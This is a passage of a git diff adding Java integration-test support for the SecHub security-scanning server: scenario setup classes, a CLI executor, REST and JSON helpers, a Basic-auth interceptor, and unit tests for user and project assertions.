com.daimler.sechub.integrationtest.api.TestProject; +import com.daimler.sechub.integrationtest.api.TestUser; + +public class ScenarioInitializer { + + private static final int DEFAULT_TIME_TO_WAIT_FOR_RESOURCE_CREATION = 3; + private static final Logger LOG = LoggerFactory.getLogger(ScenarioInitializer.class); + + ScenarioInitializer() { + + } + + public ScenarioInitializer createProject(TestProject project, TestUser owner) { + TestAPI.as(TestAPI.SUPER_ADMIN).createProject(project,owner.getUserId()); + return this; + } + + /** + * Creates an user, updates the token + * + * @param user + * @return + */ + public ScenarioInitializer createUser(TestUser user) { + LOG.info("create user:{}",user); + assertUser(user).doesNotExist(); + + as(ANONYMOUS).signUpAs(user); + as(SUPER_ADMIN).acceptSignup(user); + + assertUser(user).doesExist(); + + /* execute receive of new api token */ + String link = getLinkToFetchNewAPITokenAfterSignupAccepted(user); + assertFalse(link.isEmpty()); + udpdateAPITokenByOneTimeTokenLink(user, link); + + return this; + } + +// public ScenarioInitializer waitUntilUserCanAccessProject(TestUser user, TestProject project) { +// return waitUntilUserCanAccessProject(user,project, DEFAULT_TIME_TO_WAIT_FOR_RESOURCE_CREATION); +// } +// +// @SuppressWarnings("unchecked") +// public ScenarioInitializer waitUntilUserCanAccessProject(TestUser user, TestProject project, int seconds) { +// TestAPI.executeUntilSuccessOrTimeout(new AbstractTestExecutable(user,seconds,HttpClientErrorException.class) { +// @Override +// public boolean runImpl() throws Exception { +// assertUser(user).can(project); +// return true; +// } +// }); +// return this; +// } + + public ScenarioInitializer waitUntilUserCanLogin(TestUser user) { + return waitUntilUserCanLogin(user,DEFAULT_TIME_TO_WAIT_FOR_RESOURCE_CREATION); + } + + @SuppressWarnings("unchecked") + public ScenarioInitializer waitUntilUserCanLogin(TestUser user, int seconds) { + TestAPI.executeUntilSuccessOrTimeout(new AbstractTestExecutable(user,seconds,HttpClientErrorException.class) { + @Override + public boolean runImpl() throws Exception { + assertUser(user).canLogin(); + return true; + } + }); + return this; + } + + public ScenarioInitializer waitUntilUserExists(TestUser user) { + return waitUntilUserExists(user,DEFAULT_TIME_TO_WAIT_FOR_RESOURCE_CREATION); + } + + @SuppressWarnings("unchecked") + public ScenarioInitializer waitUntilUserExists(TestUser user, int seconds) { + TestAPI.executeUntilSuccessOrTimeout(new AbstractTestExecutable(SUPER_ADMIN,seconds,HttpClientErrorException.class) { + @Override + public boolean runImpl() throws Exception { + assertUser(user).doesExist(); + return true; + } + }); + return this; + } + + public ScenarioInitializer waitUntilProjectExists(TestProject project) { + return waitUntilProjectExists(project, DEFAULT_TIME_TO_WAIT_FOR_RESOURCE_CREATION); + } + + @SuppressWarnings("unchecked") + public ScenarioInitializer waitUntilProjectExists(TestProject project, int seconds) { + TestAPI.executeUntilSuccessOrTimeout(new AbstractTestExecutable(SUPER_ADMIN,seconds,HttpClientErrorException.class) { + @Override + public boolean runImpl() throws Exception { + assertProject(project).doesExist(); + return true; + } + }); + return this; + } + + public void assignUserToProject(TestProject project, TestUser targetUser) { + TestAPI.as(SUPER_ADMIN).assignUserToProject(targetUser, project); + } + +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/SecHubClientExecutor.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/SecHubClientExecutor.java new file mode 100644 index 0000000000..56db93f6e8 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/SecHubClientExecutor.java @@ -0,0 +1,153 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.io.File; +import java.io.IOException; +import java.util.ArrayList; +import java.util.Arrays; +import java.util.List; +import java.util.Map; +import java.util.UUID; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.test.TestUtil; + +public class SecHubClientExecutor { + + private static final Logger LOG = LoggerFactory.getLogger(SecHubClientExecutor.class); + + public class ExecutionResult { + private int exitCode; + private String lastOutputLine; + private File outputFolder; + public UUID sechubJobUUD; + + public int getExitCode() { + return exitCode; + } + + public File getOutputFolder() { + return outputFolder; + } + + public String getLastOutputLine() { + return lastOutputLine; + } + + public UUID getSechubJobUUD() { + return sechubJobUUD; + } + } + + public ExecutionResult execute(File file, TestUser user, String... commands) { + String path = "sechub-cli/build/go/platform/"; + List commandsAsList = new ArrayList<>(); + String sechubExeName=null; + if (TestUtil.isWindows()) { + sechubExeName = "sechub.exe"; + path += "windows-386"; + commandsAsList.add("cmd.exe"); + commandsAsList.add("/C"); + commandsAsList.add(sechubExeName); + } else { + sechubExeName = "sechub"; + commandsAsList.add("./"+sechubExeName); + path += "linux-386"; + } + File pathToExecutable = new File(IntegrationTestFileSupport.getTestfileSupport().getRootFolder(), path); + File executable = new File(pathToExecutable,sechubExeName); + if (! executable.exists()) { + throw new SecHubClientNotFoundException(executable); + } + + if (file != null) { + commandsAsList.add("-configfile"); + if (TestUtil.isWindows()) { + commandsAsList.add("\"" + file.getAbsolutePath() + "\""); + } else { + commandsAsList.add(file.getAbsolutePath()); + } + } + if (user != null) { + commandsAsList.add("-user"); + commandsAsList.add(user.getUserId()); + + commandsAsList.add("-apitoken"); + commandsAsList.add(user.getApiToken()); + } + commandsAsList.addAll(Arrays.asList(commands)); + try { + /* create temp file for output */ + File tmpGoOutputFile = File.createTempFile("sechub-client-test-", ".txt"); + tmpGoOutputFile.deleteOnExit(); + LOG.info("Temporary go output at:{}", tmpGoOutputFile); + + /* setup process */ + ProcessBuilder pb = new ProcessBuilder(commandsAsList); + pb.redirectErrorStream(true); + pb.redirectOutput(tmpGoOutputFile); + Map environment = pb.environment(); + environment.put("SECHUB_TRUSTALL", "true"); + environment.put("SECHUB_DEBUG", "true"); + if (TestUtil.isKeepingTempfiles()) { + environment.put("SECHUB_KEEP_TEMPFILES", "true"); + } + pb.directory(pathToExecutable); + + LOG.info("starting {}", commandsAsList); + + /* start process and wait for execution done */ + Process process = pb.start(); + int exitCode = process.waitFor(); + + /* show go output */ + String output = IntegrationTestFileSupport.getTestfileSupport().loadTextFile(tmpGoOutputFile, "\n"); + LOG.info("OUTPUT:\n{}", output); + + /* prepare and return result */ + ExecutionResult result = new ExecutionResult(); + String[] lines = output.trim().split("\\n"); + for (String line : lines) { + if (result.sechubJobUUD!=null) { + break; + } + int index = line.indexOf("job "); + if (index!=-1) { + try { + String remaining = line.substring(index+4).split(" ")[0]; + result.sechubJobUUD = UUID.fromString(remaining); + break; + } catch (Exception e) { + e.printStackTrace(); + } + } + } + result.lastOutputLine = lines[lines.length - 1]; + result.exitCode = exitCode; + + return result; + } catch (IOException e) { + LOG.error("io failure on command execution", e); + throw new IllegalStateException("Execution failed", e); + } catch (InterruptedException e) { + LOG.error("interrupted command execution", e); + Thread.currentThread().interrupt(); + throw new IllegalStateException("Execution failed", e); + } + } + + public static void main(String[] args) { + new SecHubClientExecutor().execute(null, null, "-help"); + } + + public class SecHubClientNotFoundException extends IllegalStateException{ + private static final long serialVersionUID = 1L; + + public SecHubClientNotFoundException(File executable) { + super("SecHub client not available, did you forget to build the client with `gradlew buildGo` ?\nExpected:"+executable); + } + } +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestJSONHelper.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestJSONHelper.java new file mode 100644 index 0000000000..499e8cac06 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestJSONHelper.java @@ -0,0 +1,75 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.io.IOException; + +import com.fasterxml.jackson.annotation.JsonInclude.Include; +import com.fasterxml.jackson.core.JsonFactory; +import com.fasterxml.jackson.core.JsonParser; +import com.fasterxml.jackson.databind.DeserializationFeature; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.fasterxml.jackson.databind.SerializationFeature; +import com.fasterxml.jackson.datatype.jdk8.Jdk8Module; + +public class TestJSONHelper { + + private static final TestJSONHelper INSTANCE = new TestJSONHelper(); + + /** + * @return shared instance + */ + public static TestJSONHelper get() { + return INSTANCE; + } + + private ObjectMapper mapper; + + public TestJSONHelper() { + // https://github.com/FasterXML/jackson-core/wiki/JsonParser-Features + JsonFactory jsonFactory = new JsonFactory(); + jsonFactory.enable(JsonParser.Feature.ALLOW_COMMENTS); + jsonFactory.enable(JsonParser.Feature.ALLOW_SINGLE_QUOTES); + + mapper = new ObjectMapper(jsonFactory); + /* + * next line will write single element array as simple strings. There was an + * issue with this when serializing/deserializing SimpleMailMessage class from + * spring when only one "to" defined but was an array - jackson had problems see + * also: https://github.com/FasterXML/jackson-databind/issues/720 and + * https://stackoverflow.com/questions/39041496/how-to-enforce-accept-single- + * value-as-array-in-jacksons-deserialization-process + */ + mapper.enable(DeserializationFeature.ACCEPT_SINGLE_VALUE_AS_ARRAY); + + // but we do NOT use SerializationFeature.WRITE_SINGLE_ELEM_ARRAYS_UNWRAPPED ! + // reason: otherwise jackson does all single ones write as not being an array + // which comes up to problems agani + mapper.disable(SerializationFeature.WRITE_SINGLE_ELEM_ARRAYS_UNWRAPPED); + + // http://www.baeldung.com/jackson-ignore-null-fields + mapper.setSerializationInclusion(Include.NON_NULL); + // http://www.baeldung.com/jackson-optional + mapper.registerModule(new Jdk8Module()); + } + + public void assertValidJson(String string) { + try { + readTree(string); + } catch (IllegalStateException e) { + throw new IllegalStateException("This is not valid json:\n" + string, e); + } + } + + public JsonNode readTree(String string) { + JsonNode node; + try { + node = mapper.reader().readTree(string); + } catch (IOException e) { + throw new IllegalStateException("Did not expect IO problems", e); + } + return node; + } + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestRestHelper.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestRestHelper.java new file mode 100644 index 0000000000..d8b78bb2ab --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestRestHelper.java @@ -0,0 +1,187 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.io.BufferedReader; +import java.io.File; +import java.io.IOException; +import java.io.InputStreamReader; +import java.util.ArrayList; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.core.io.FileSystemResource; +import org.springframework.http.HttpEntity; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpStatus; +import org.springframework.http.MediaType; +import org.springframework.http.ResponseEntity; +import org.springframework.http.client.BufferingClientHttpRequestFactory; +import org.springframework.http.client.ClientHttpRequestFactory; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; +import org.springframework.util.LinkedMultiValueMap; +import org.springframework.util.MultiValueMap; +import org.springframework.web.client.DefaultResponseErrorHandler; +import org.springframework.web.client.ResponseErrorHandler; +import org.springframework.web.client.RestClientException; +import org.springframework.web.client.RestTemplate; + +import com.daimler.sechub.adapter.TrustAllConfig; +import com.daimler.sechub.adapter.support.TrustAllSupport; +import com.daimler.sechub.integrationtest.api.UserContext; + +public class TestRestHelper { + + private static final Logger LOG = LoggerFactory.getLogger(TestRestHelper.class); + + protected RestTemplate template; + private TrustAllSupport trustAllSupport; + + private static String LAST_DATA; + private static String LAST_URL; + + public static String getLastUrl() { + return LAST_URL; + } + + public static String getLastData() { + return LAST_DATA; + } + + + public TestRestHelper(UserContext user) { + this.template = createTrustAllRestTemplate(user); + this.template.setErrorHandler(createErrorHandler()); + } + + protected ResponseErrorHandler createErrorHandler() { + return new ErrorHandler(); + } + + public RestTemplate getTemplate() { + return template; + } + + public String getJSon(String url) { + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + + markLastURL(url); + return template.getForEntity(url, String.class).getBody(); + } + + public void put(String url) { + markLastURL(url); + template.put(url, null); + } + + /** + * Post json to url + * + * @param url + * @param json + * @return result + * @throws RestClientException + */ + public String postJSon(String url, String json) { + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.APPLICATION_JSON_UTF8); + HttpEntity httpEntity = new HttpEntity<>(json, headers); + + markLastURL(url,json); + return template.postForEntity(url, httpEntity, String.class).getBody(); + } + + private TrustAllSupport getTrustAllSupport() { + if (trustAllSupport == null) { + + IntegrationTestAdapter adapter = new IntegrationTestAdapter(); + TrustAllConfig config = new IntegrationTestTrustAllConfig(); + + trustAllSupport = new TrustAllSupport(adapter, config); + } + return trustAllSupport; + } + + /** + * Method creates a rest template.
+ * We cannot use the normal rest template builder of spring because of setting + * the request factory directly is not possible by builder + */ + protected RestTemplate createTrustAllRestTemplate(UserContext user) { + + ClientHttpRequestFactory requestTrustAllFactory = getTrustAllSupport().createTrustAllFactory(); + + RestTemplate template = new RestTemplate(new BufferingClientHttpRequestFactory(requestTrustAllFactory)); + // template.setMessageConverters(createRestTemplateMessageConverters()); + template.setInterceptors(createRestTemplateInterceptors(user)); + + return template; + } + + private List createRestTemplateInterceptors(UserContext user) { + List interceptors = new ArrayList<>(); + interceptors.add(new TestSecHubRestAPIClientHttpRequestInterceptor(user)); + return interceptors; + } + + public void post(String url) { + markLastURL(url); + getTemplate().postForLocation(url, HttpEntity.EMPTY); + + } + private void markLastURL(String url) { + markLastURL(url,null); + } + private void markLastURL(String url,String data) { + LAST_URL = url; + LAST_DATA=data; + } + + public void delete(String url) { + markLastURL(url); + getTemplate().delete(url); + + } + + public String getStringFromURL(String link) { + markLastURL(link); + return template.getForEntity(link, String.class).getBody(); + } + + public String upload(String buildUploadSourceCodeUrl, File file, String checkSum) { + // see https://www.baeldung.com/spring-rest-template-multipart-upload + HttpHeaders headers = new HttpHeaders(); + headers.setContentType(MediaType.MULTIPART_FORM_DATA); + FileSystemResource resource = new FileSystemResource(file); + MultiValueMap body = new LinkedMultiValueMap<>(); + body.add("file", resource); + body.add("checkSum", checkSum); + HttpEntity> requestEntity = new HttpEntity<>(body, headers); + + markLastURL(buildUploadSourceCodeUrl); + ResponseEntity response = template.postForEntity(buildUploadSourceCodeUrl, requestEntity, String.class); + return response.getBody(); + } + + private class ErrorHandler extends DefaultResponseErrorHandler { + + @Override + protected void handleError(ClientHttpResponse response, HttpStatus statusCode) throws IOException { + StringBuilder sb = new StringBuilder(); + try( + BufferedReader br = new BufferedReader(new InputStreamReader(response.getBody()))) { + String x = null; + while ( (x=br.readLine())!=null) { + sb.append(x); + sb.append("\n"); + } + }catch(Exception e){ + sb.append("Failed:"+e.getMessage()); + } + LOG.error("CLIENT RESPONSE error:"+statusCode+", response:"+sb.toString()); + super.handleError(response, statusCode); + } + } +} \ No newline at end of file diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestScenario.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestScenario.java new file mode 100644 index 0000000000..ebafb0281b --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestScenario.java @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +/** + * A Test scenario will prepare the scenario for testing so its "clean" for every test using this scenario! + * Please define the test constants (e.g. TestUser) always inside their own package and use this package for the dedicated tests! So it is ensured they are not accidently used in a + * test where another scenario is wanted (Albert did have much pain with automated imports...) + * @author Albert Tregnaghi + * + */ +public interface TestScenario { + + public void prepare(String testClass,String testMethod); + + public String getName(); +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestSecHubRestAPIClientHttpRequestInterceptor.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestSecHubRestAPIClientHttpRequestInterceptor.java new file mode 100644 index 0000000000..4e482160f5 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/internal/TestSecHubRestAPIClientHttpRequestInterceptor.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.internal; + +import java.io.IOException; +import java.util.Base64; +import java.util.List; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.http.HttpHeaders; +import org.springframework.http.HttpRequest; +import org.springframework.http.MediaType; +import org.springframework.http.client.ClientHttpRequestExecution; +import org.springframework.http.client.ClientHttpRequestInterceptor; +import org.springframework.http.client.ClientHttpResponse; + +import com.daimler.sechub.integrationtest.api.UserContext; + +public class TestSecHubRestAPIClientHttpRequestInterceptor implements ClientHttpRequestInterceptor { + + + private static final Logger LOG = LoggerFactory.getLogger(TestSecHubRestAPIClientHttpRequestInterceptor.class); + + private UserContext user; + + public TestSecHubRestAPIClientHttpRequestInterceptor(UserContext user) { + this.user=user; + } + + @Override + public ClientHttpResponse intercept(HttpRequest request, byte[] body, ClientHttpRequestExecution execution) + throws IOException { + /* we always create a new base64 token, because api token in test user data does change at runtime */ + + HttpHeaders headers = request.getHeaders(); + List x = headers.get("Content-Type"); + if (x==null || x.isEmpty()) { +// headers.remove("Content-Type"); // strange, but sometimes there was a content-type (plain-text already added) + headers.add("Content-Type", MediaType.APPLICATION_JSON_UTF8_VALUE); + } + headers.remove("Authorization"); + + + if (! user.isAnonymous()) { + String text = user.getUserId()+":"+user.getApiToken(); + String base64Token=Base64.getEncoder().encodeToString(text.getBytes()); + headers.add("Authorization", "Basic " + base64Token); + + } + LOG.info("...............REST call for user:"+user.getUserId()+"............................"); + + return execution.execute(request, body); + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario1/Scenario1.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario1/Scenario1.java new file mode 100644 index 0000000000..0340f30910 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario1/Scenario1.java @@ -0,0 +1,47 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario1; + +import com.daimler.sechub.integrationtest.api.TestProject; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.integrationtest.internal.AbstractTestScenario; + +/** + * In this scenario nearly nothing of the constants is existing, except "OWNER_1" which is necessary for project creation tests + * + *
+ * USER_1, not in system. must self register him/herself.
+ * PROJECT_1_ not created
+ * 
+ * @author Albert Tregnaghi + * + */ +public class Scenario1 extends AbstractTestScenario{ + + /** + * A test user which will LATER represents an owner. Its already created. + */ + static final TestUser OWNER_1 = createTestUser(Scenario1.class, "owner1"); + + /** + * A test user - but must be created later. so not existing + */ + static final TestUser USER_1 = createTestUser(Scenario1.class, "user1"); + + /** + * A test project - but must be created later. so not existing + */ + static final TestProject PROJECT_1 = createTestProject(Scenario1.class, "project1"); + + @Override + protected void initializeTestData() { + initializer().createUser(OWNER_1); + + } + @Override + protected void waitForTestDataAvailable() { + initializer().waitUntilUserCanLogin(OWNER_1); + } + + + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario2/Scenario2.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario2/Scenario2.java new file mode 100644 index 0000000000..bad8974cb7 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario2/Scenario2.java @@ -0,0 +1,79 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario2; + +import com.daimler.sechub.integrationtest.api.TestProject; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.integrationtest.internal.AbstractTestScenario; + +/** + * In this scenario following is automatically initialized: + * + *
+ * USER_1, is automatically registrated, created and ready to go... but not assigned to any project
+ * PROJECT_1_ is automatically created
+ * USER_2, is automatically registrated, created and ready to go... but not assigned to any project
+ * PROJECT_2_ is automatically created
+ * 
+ * + * @author Albert Tregnaghi + * + */ +public class Scenario2 extends AbstractTestScenario { + + /** + * Owner 1 is registered on startup and is default owner for created projects + */ + static final TestUser OWNER_1 = createTestUser(Scenario2.class, "owner1"); + + /** + * User 1 is registered on startup + */ + static final TestUser USER_1 = createTestUser(Scenario2.class, "user1"); + + /** + * User 2 is registered on startup + */ + static final TestUser USER_2 = createTestUser(Scenario2.class, "user2"); + + /** + * Project 1 is created on startup, but has no users + */ + static final TestProject PROJECT_1 = createTestProject(Scenario2.class, "project1"); + + + + /** + * Project 2 is created on startup, but has no users + */ + public static final TestProject PROJECT_2 = createTestProject(Scenario2.class, "project2"); + + @Override + protected void initializeTestData() { + /* @formatter:off */ + initializer(). + createUser(OWNER_1). + createProject(PROJECT_1, OWNER_1). + createProject(PROJECT_2, OWNER_1). + createUser(USER_1). + createUser(USER_2) + ; + /* @formatter:on */ + } + + @Override + protected void waitForTestDataAvailable() { + /* @formatter:off */ + initializer(). + waitUntilProjectExists(PROJECT_1). + waitUntilProjectExists(PROJECT_2). + + waitUntilUserExists(USER_1). + waitUntilUserExists(USER_2). + + waitUntilUserCanLogin(USER_1). + waitUntilUserCanLogin(USER_2); + ; + /* @formatter:on */ + } + +} diff --git a/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario3/Scenario3.java b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario3/Scenario3.java new file mode 100644 index 0000000000..94ab495941 --- /dev/null +++ b/sechub-integrationtest/src/main/java/com/daimler/sechub/integrationtest/scenario3/Scenario3.java @@ -0,0 +1,57 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario3; + +import com.daimler.sechub.integrationtest.api.TestProject; +import com.daimler.sechub.integrationtest.api.TestUser; +import com.daimler.sechub.integrationtest.internal.AbstractTestScenario; + +/** + * In this scenario following is automatically initialized: + * + *
+ * PROJECT_1_ is automatically created
+ * USER_1, is automatically registered, created and assigned to project1
+ * 
+ * + * @author Albert Tregnaghi + * + */ +public class Scenario3 extends AbstractTestScenario { + + /** + * User 1 is registered on startup, also owner and user of {@link #PROJECT_1} + */ + public static final TestUser USER_1 = createTestUser(Scenario3.class, "user1"); + + /** + * Project 1 is created on startup, and has {@link #USER_1} assigned + */ + public static final TestProject PROJECT_1 = createTestProject(Scenario3.class, "project1"); + + + @Override + protected void initializeTestData() { + /* @formatter:off */ + initializer(). + createUser(USER_1). + createProject(PROJECT_1, USER_1). + assignUserToProject(PROJECT_1,USER_1) + ; + /* @formatter:on */ + } + + @Override + protected void waitForTestDataAvailable() { + /* @formatter:off */ + initializer(). + waitUntilProjectExists(PROJECT_1). + + waitUntilUserExists(USER_1). + + waitUntilUserCanLogin(USER_1) + + ; + /* @formatter:on */ + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/api/AssertUserTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/api/AssertUserTest.java new file mode 100644 index 0000000000..a1d11caa63 --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/api/AssertUserTest.java @@ -0,0 +1,139 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.api; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.test.ExampleConstants; + +public class AssertUserTest { + + private TestProject project; + + @Before + public void before() throws Exception { + project = new TestProject("testProjectId"); + } + /* ------------------------------------- */ + /* ---------OWNER----------------------- */ + /* ------------------------------------- */ + + @Test + public void isSuperAdmin_user_is_not_superadmin() { + /* prepare */ + String fetchedUserDetails ="{\"userId\":\"scenario2_owner1\",\"email\":\"scenario2_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[],\"ownedProjects\":[\"scenario2_project1\",\"scenario2_project2\"]}"; + + /* execute */ + /* test */ + assertFalse(AssertUser.isSuperAdmin(fetchedUserDetails)); + + } + + @Test + public void isSuperAdmin_user_is_superadmin() { + /* prepare */ + String fetchedUserDetails ="{\"userId\":\"scenario2_owner1\",\"email\":\"scenario2_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":true,\"projects\":[],\"ownedProjects\":[\"scenario2_project1\",\"scenario2_project2\"]}"; + + /* execute */ + /* test */ + assertTrue(AssertUser.isSuperAdmin(fetchedUserDetails)); + + } + + /* ------------------------------------- */ + /* ---------ASSIGNED-------------------- */ + /* ------------------------------------- */ + @Test + public void isAssignedToProject_user_is_not_owner_and_not_user() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"scenario1_projectOther2\"],\"ownedProjects\":[\"scenario1_projectOther1\"]}"; + + /* execute */ + /* test */ + assertFalse(AssertUser.isAssignedToProject(project, fetchedUserDetails)); + + } + + @Test + public void isAssignedToProject_user_is_owner_but_not_user() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[],\"ownedProjects\":[\"testProjectId\"]}"; + + /* execute */ + /* test */ + assertFalse(AssertUser.isAssignedToProject(project, fetchedUserDetails)); + + } + + @Test + public void isAssignedToProject_user_is_user_but_not_owner() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"testProjectId\"],\"ownedProjects\":[]}"; + + /* execute */ + /* test */ + assertTrue(AssertUser.isAssignedToProject(project, fetchedUserDetails)); + + } + + @Test + public void isAssignedToProject_user_is_user_and__owner() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"testProjectId\"],\"ownedProjects\":[\"testProjectId\"]}"; + + /* execute */ + /* test */ + assertTrue(AssertUser.isAssignedToProject(project, fetchedUserDetails)); + + } + + /* ------------------------------------- */ + /* ---------OWNER----------------------- */ + /* ------------------------------------- */ + @Test + public void isOwnerOfProject_user_is_not_owner_and_not_user() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"scenario1_projectOther2\"],\"ownedProjects\":[\"scenario1_projectOther1\"]}"; + + /* execute */ + /* test */ + assertFalse(AssertUser.isOwnerOfProject(project, fetchedUserDetails)); + + } + + @Test + public void isOwnerOfProject_user_is_owner_but_not_user() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[],\"ownedProjects\":[\"testProjectId\"]}"; + + /* execute */ + /* test */ + assertTrue(AssertUser.isOwnerOfProject(project, fetchedUserDetails)); + + } + + @Test + public void isOwnerOfProject_user_is_user_but_not_owner() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"testProjectId\"],\"ownedProjects\":[]}"; + + /* execute */ + /* test */ + assertFalse(AssertUser.isOwnerOfProject(project, fetchedUserDetails)); + + } + + @Test + public void isOwnerOfProject_user_is_user_and__owner() { + /* prepare */ + String fetchedUserDetails = "{\"userId\":\"scenario1_owner1\",\"email\":\"scenario1_owner1@"+ExampleConstants.URI_TARGET_SERVER+"\",\"superAdmin\":false,\"projects\":[\"testProjectId\"],\"ownedProjects\":[\"testProjectId\"]}"; + + /* execute */ + /* test */ + assertTrue(AssertUser.isOwnerOfProject(project, fetchedUserDetails)); + + } + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/GetServerInfoScenario1IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/GetServerInfoScenario1IntTest.java new file mode 100644 index 0000000000..dfe5730e5b --- /dev/null +++ b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/GetServerInfoScenario1IntTest.java @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.integrationtest.scenario1; + +import static com.daimler.sechub.integrationtest.api.TestAPI.*; +import static org.junit.Assert.*; + +import java.util.regex.Pattern; + +import org.junit.Rule; +import org.junit.Test; + +import com.daimler.sechub.integrationtest.api.IntegrationTestSetup; + +public class GetServerInfoScenario1IntTest { + + private static final Pattern PATTERN_ONLY_MAJOR_MINOR_HOTFIX = Pattern.compile("[0-9]+\\.[0-9]+\\.[0-9]+.*"); + + @Rule + public IntegrationTestSetup setup = IntegrationTestSetup.forScenario(Scenario1.class); + + /* +-----------------------------------------------------------------------+ */ + /* +............................ Get server version .......................+ */ + /* +-----------------------------------------------------------------------+ */ + + @Test + public void get_server_version() { + /* execute */ + String version = as(ANONYMOUS).getServerVersion(); + + /* test*/ + assertNotNull(version); + assertFalse(version.isEmpty()); + /* version must be X.Y.Z and not something ala vX.Y.Z or X.Y.Z-server"*/ + assertFalse(version.startsWith("v")); + assertFalse(version.endsWith("-server")); + /* check format is like regexp */ + assertTrue(PATTERN_ONLY_MAJOR_MINOR_HOTFIX.matcher(version).matches()); + } + + +} diff --git a/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/ProjectAdministrationScenario1IntTest.java b/sechub-integrationtest/src/test/java/com/daimler/sechub/integrationtest/scenario1/ProjectAdministrationScenario1IntTest.java new file mode 100644 index 0000000000..c19aa4f45d --- /dev/null +++ 